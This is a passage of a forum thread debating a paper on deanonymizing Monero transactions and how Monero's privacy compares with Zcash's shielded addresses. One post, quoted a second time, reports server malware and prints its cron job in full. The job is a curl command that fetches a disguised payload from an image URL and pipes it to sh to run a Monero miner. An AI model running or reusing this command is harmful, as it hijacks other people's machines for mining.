That's a nice touch hosting it on ipfs.
But ipfs.io is just the gateway.
I mean, this is the same document:
https://ipfs4uvgthshqonk.onion.to/ipfs/QmWYTeggKeL8xBitA8uQW...
80% of Monero Transactions Trivially De-Anonymized
11–20 of 88 posts
Re: 80% of Monero Transactions Trivially De-Anonymized
#12Amiller, Figure 1 should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse). No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count) while ignoring the ongoing privacy flaw in Zcash usage in practice.
> should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse).
Agreed, this should updated to specify that only transactions between shielded addresses are protected. The point they are trying to make is that the anonymity set between shielded addresses is that of all transactions in the anonymous set. (FWIW, this is a pre-publication draft.)
> No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count)
ZCash is pretty explicit about the difference between shielded and transparent addresses....
However, the news here isn't about ZCash. Monero's main claim to fame is that it has an "opaque" blockchain, but this isn't cryptographically ensured. Instead, it relies on each client to create dummy transactions that mirror real ones. That leaves Monero wide open to side channel attacks now and in the future.
One would expect careful analysis and much more cautious language. Instead, it looks like clients weren't even doing basic checks:
> We find that among Monero transaction inputs with one or more mixins, 62% of these are deducible, i.e. they can be incontrovertibly linked to the prior TXO they spend.
It's a solid piece of research and even if Monero fixes everything in this upcoming release, that doesn't make this analysis any less worrying.
Re: 80% of Monero Transactions Trivially De-Anonymized
#13This response is interesting and worth a read: https://word-view.officeapps.live.com/wv/mWord.aspx?Fi=SD473...
Any chance i could get that as a static document? It seems chrome on linux and microsoft office online don't get along
Re: 80% of Monero Transactions Trivially De-Anonymized
#14Re: 80% of Monero Transactions Trivially De-Anonymized
#15Disclaimer: I hold Monero
In my opinion, this is an attempt at smearing a better cryptocurrency competing for the same recognition: true anonymity.
It could very well be the tip of a broader, coming attack. The developers of other cryptocurrencies are spending money for marketing and acceptance into exchanges, Monero is not.
They are willing to grease the wheels to success while Monero grows organically instead. This may or may not be a problem for Monero. If they run a smear-campaign on Monero, they could win with their inferior cryptocurrency.
There is a much better/detailed response to the claims made in the paper on Reddit:
https://www.reddit.com/r/Monero/comments/65pon8/monero_linka...
Re: 80% of Monero Transactions Trivially De-Anonymized
#16What a coincidence! Just today at work we've found malware on some of our servers. That malware added this cron job: /60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333 See: https://www.sophos.com/e…
Speaking about criminals using Monero, they've started making ransomware that accepts Monero. As far as I know, they don't for the other supposed-anonymous cryptocurriencies.
Re: 80% of Monero Transactions Trivially De-Anonymized
#17Disclaimer: I hold Monero In my opinion, this is an attempt at smearing a better cryptocurrency competing for the same recognition: true anonymity. It could very well be the tip of a broader, coming attack. The developers of other cryptocurrencies are spending money for marketing and acceptance into exchanges, Monero is not. They are willing to grease the wheels to success while Monero grows organically instead. This…
>They are willing to grease the wheels to success while Monero grows organically instead.
I'm curious about this. How is this at all a virtue? If you're not willing to hustle to ensure the success of your project, why should anyone make a bet on it? We've seen many times how the technically superior product loses out against the better positioned competitor. So what makes this different?
Re: 80% of Monero Transactions Trivially De-Anonymized
#18What a coincidence! Just today at work we've found malware on some of our servers. That malware added this cron job: /60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333 See: https://www.sophos.com/e…
that's a clever little cron job
Re: 80% of Monero Transactions Trivially De-Anonymized
#19Amiller, Figure 1 should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse). No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count) while ignoring the ongoing privacy flaw in Zcash usage in practice.
Are you talking about the fact that Zcash has, as a feature, the ability to make non-anonymous payments as well? Why would this be of interest to anyone studying the anonymity properties of Monero?
> Are you talking about the fact that Zcash has, as a feature, the ability to make non-anonymous payments as well?
Last I checked virtually none of Zcash's transaction used the anonymous payment feature (presumably because the performance of it is very poor).
So it's plausible that monero transactions could practically end up with a larger anonymity set in absolute terms than zcash (especially for current monero, which has CT and a minimum mixin size).
I think it would be more accurate to say that Zcash, has, as a feature, a way to make anonymous payments, but it is rarely used.
Re: 80% of Monero Transactions Trivially De-Anonymized
#20Amiller, Figure 1 should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse). No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count) while ignoring the ongoing privacy flaw in Zcash usage in practice.
> should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse). Agreed, this should updated to specify that only transactions between shielded addresses are protected. The point they are trying to make is that the anonymity set between shielded addresses is that of all transactions in the anonymous set. (FWIW, this is a pre-publication draft.) > No? I…
> ZCash is pretty explicit about the difference between shielded and transparent addresses....
This is an important point. Having two very distinct addresses (different lengths, different prefixes, different RPC APIs) makes it very obvious to users when they have the benefits of shielded transactions, and when they don't. Thus users make an explicit choice to forgo privacy when they use transparent addresses.
The problem of only 28% of transactions currently being shielded (https://explorer.zcha.in/statistics/network https://explorer.zcha.in/statistics/timeseries?hashrate=fals...) is a separate ecosystem problem, where usage of shielded addresses with third parties (like wallets and exchanges) requires them to use new APIs, instead of just interacting with the new block chain via the Bitcoin API. IIUC Monero has also encountered these issues, and it is something we are both working on improving.